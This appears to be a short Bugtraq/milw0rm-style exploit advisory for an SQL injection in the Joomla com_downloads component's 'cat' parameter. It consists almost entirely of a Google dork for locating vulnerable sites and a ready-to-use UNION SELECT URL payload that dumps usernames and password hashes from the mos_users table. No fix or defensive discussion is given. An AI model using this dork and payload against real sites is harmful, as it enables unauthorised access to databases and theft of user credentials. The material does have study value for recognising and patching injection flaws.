Bugtraq: joomla SQL Injection (cat)(com_downloads)

[hackturkiye.hackturkiye () gmail com]

#########################################################################
# 
#   joomla SQL Injection (cat)(com_downloads)
#
######################################################################### 
#
# AUTHOR : S () BUN 
#
# HOME : http://www.milw0rm.com/author/1334 
#
# MAİL : www.milw0rm.com () gmail com
#
#########################################################################
# 
#  DORK 1 : allinurl:"selectcat"com_downloads
# 
#########################################################################
   EXPLOIT : 

index.php?option=com_downloads&Itemid=S () 
BUN&func=selectcat&cat=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*
  

#########################################################################
# S () BUN      i AM NOT HACKER          S () BUN 
#########################################################################